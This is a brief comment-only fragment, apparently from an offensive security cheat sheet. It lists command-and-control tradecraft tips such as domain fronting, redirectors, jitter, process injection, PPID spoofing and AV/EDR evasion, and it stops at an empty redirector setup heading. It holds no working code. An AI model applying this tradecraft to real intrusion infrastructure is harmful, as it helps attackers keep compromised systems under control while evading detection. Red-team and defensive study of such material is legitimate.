# ============================================================================
# C2 BEST PRACTICES
# ============================================================================

# Use encrypted HTTPS channels
# Callback over common ports (80, 443, 8080)
# Implement jitter and sleep intervals
# Use domain fronting when possible
# Rotate infrastructure regularly
# Use redirectors (Apache mod_rewrite, Nginx reverse proxy)
# Implement killdate/killswitch in agents
# Use process injection and PPID spoofing
# Avoid triggering AV/EDR signatures

# ============================================================================
# INFRASTRUCTURE SETUP
# ============================================================================

# Apache mod_rewrite redirector for domain fronting
